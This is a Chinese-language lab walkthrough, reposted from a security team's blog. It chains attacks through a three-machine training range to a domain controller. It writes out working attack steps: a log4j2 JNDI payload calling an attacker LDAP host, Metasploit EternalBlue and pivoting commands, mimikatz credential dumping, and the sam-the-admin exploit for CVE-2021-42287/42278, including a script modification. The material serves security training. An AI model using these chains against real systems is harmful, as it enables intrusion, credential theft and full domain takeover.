从log4j2到DC

admin 2022年5月13日21:42:09评论40 views字数 3018阅读10分3秒阅读模式
从log4j2到DC

前段时间发现了个靶场,感觉里面的漏洞还是比较新的,包含了log4j2、CVE-2021-42287、CVE-2021-42278。

靶场环境

本次靶场需获取3个flag即可通关,每台机器均有一个flag文件。该靶场拓扑图如下:

从log4j2到DC

如果在搭建靶机中发现双网卡机器不出网的情况下,可以设置网卡优先级


sudo ip route del default via 10.0.1.7 dev ens38sudo ip route add default via 10.0.1.7 dev ens38 metric 101

信息收集

实战时当我们拿到目标地址时,通常的做法就是扫描端口,以及相关地址的C段扫描。在条件允许时尽可能进行全端口扫描(因为靶场环境所以不涉及C段扫描)。

nmap -sV -Pn -n -sT --open -p- 172.16.111.54
从log4j2到DC

通过对目标地址全端口扫描,发现了22端口和38080端口开放,为此我们的思路大致为
1、爆破22ssh服务
2、访问38080端口
访问38080端口发现web服务,接下来就是找web相关站点漏洞,以及进行目录扫描。


从log4j2到DC

对该web资产目录扫描发现了如上目录。

发现Log4j2漏洞

访问目录error和hello时,burp插件被动扫描出存在log4j漏洞。

从log4j2到DC
从log4j2到DC

可以看到该web站点Accept内存在漏洞点。然后可以利用该log4j2漏洞获得目标机权限。
本机开启JNDIExploit,运行命令如下


java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 172.16.100.234
利用TomcatEcho回显验证漏洞,发现未root权限

${jndi:ldap://172.16.111.212:1389/TomcatBypass/TomcatEcho}
从log4j2到DC

当然也可以利用TomcatMemshell3直接注入内存马。
在request请求头加入查找flag命令获取第一关flag文件。


cmd:find / -name "*flag*"
从log4j2到DC

执行cat命令即可获取flag内容


flag{redteam.lab-1}Congratulations, you got this: saul Saul123
从log4j2到DC

该flag文件中还暴露出一个疑似账号密码的字符串saul Saul123,为此我们可以联想到该机器开放的22ssh服务,尝试密码碰撞。当然如果碰撞失败也可以在当前机器写入shell拿到服务器权限。


内网信息收集


测试发现使用账号saul密码Saul123可登录linux服务器,并且在该机器发现双网卡,上传fscan并搭建socks5代理。

从log4j2到DC

发现该网段10.0.1.7服务器存在ms17010漏洞,并且也提示为双网卡机器

获取域用户权限

使用msf进行攻击获取该主机权限
search ms17_010use windows/smb/ms17_010_eternalblueuse windows/x64/meterpreter/bind_tcpset RHOST 0.0.0.0set payload windows/x64/meterpreter/bind_tcpuse windows/smb/ms17_010_eternalblueset RHOSTS 10.0.1.7run
从log4j2到DC

拿到系统权限后,通过mimikatz查看账号密码

load mimikatzcreds_all
从log4j2到DC

发现该服务存在域,并且mimikatz获取了域用户账号root Red12345
进入该服务器shell中,搜索获取flag文件


cmd /c dir /s/a-d/b C:flag.txt
成功获取到第二关flag{redteam.lab-2}

从log4j2到DC

通过查询该服务器ipconfig发现存在10.0.0.7网段


从log4j2到DC

利用CVE-2021-42287、CVE-2021-42278获取域控权限


通过定位时间服务器判断DC,发现10.0.0.12疑似为域控服务器

从log4j2到DC

利用前段时间爆出的CVE-2021-42287、CVE-2021-42278拿来试一试
exp脚本

https://github.com/WazeHell/sam-the-admin
该漏洞的前置条件:需要一个域用户
因域控在第三层网络并且不出网,所以需要利用2层代理网络进行攻击
利用MSF添加了一个Socks5


use server/socks_proxyset SRVPORT 8889runjobssessions 2run autoroute -s 10.0.0.7/24 #旧版run post/multi/manage/autoroute
然后mac配置proxychains4运行该攻击脚本

从log4j2到DC

mac上运行后发现找不到impacket目录文件,作者在说明里说只支持kali系统,测试发现旧版kali也没有smbexec可执行文件


从log4j2到DC

查看源码发现脚本调用两个可执行文件

fbinary = "/usr/bin/impacket-smbexec" if options.dump: fbinary = "/usr/bin/impacket-secretsdump" getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' " os.system(getashell)
查看mac安装的impacket路径,并修改代码将可执行文件改成py文件
fbinary = "python3 /usr/local/bin/smbexec.py" if options.dump: fbinary = "python3 /usr/local/bin/secretsdump.py" getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' " os.system(getashell)
漏洞利用成功:
proxychains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
从log4j2到DC

接下来搜索该DC的flag文件

cmd /c dir /s/a-d/b C:flag.txt
从log4j2到DC

成功获取到了第三道flag{redteam.lab-3}

总结

通过练习靶场可以很好的形成攻击思路,优化攻击手法以及检验工具环境的配备,以便在之后实战攻防演练中先拔头筹。

原文链接

https://mp.weixin.qq.com/s/zWyZlifnJdNCSfuYchXKlw

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们

从log4j2到DC

原文始发于微信公众号(Tide安全团队):从log4j2到DC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日21:42:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从log4j2到DChttps://cn-sec.com/archives/1005654.html

发表评论

匿名网友 填写信息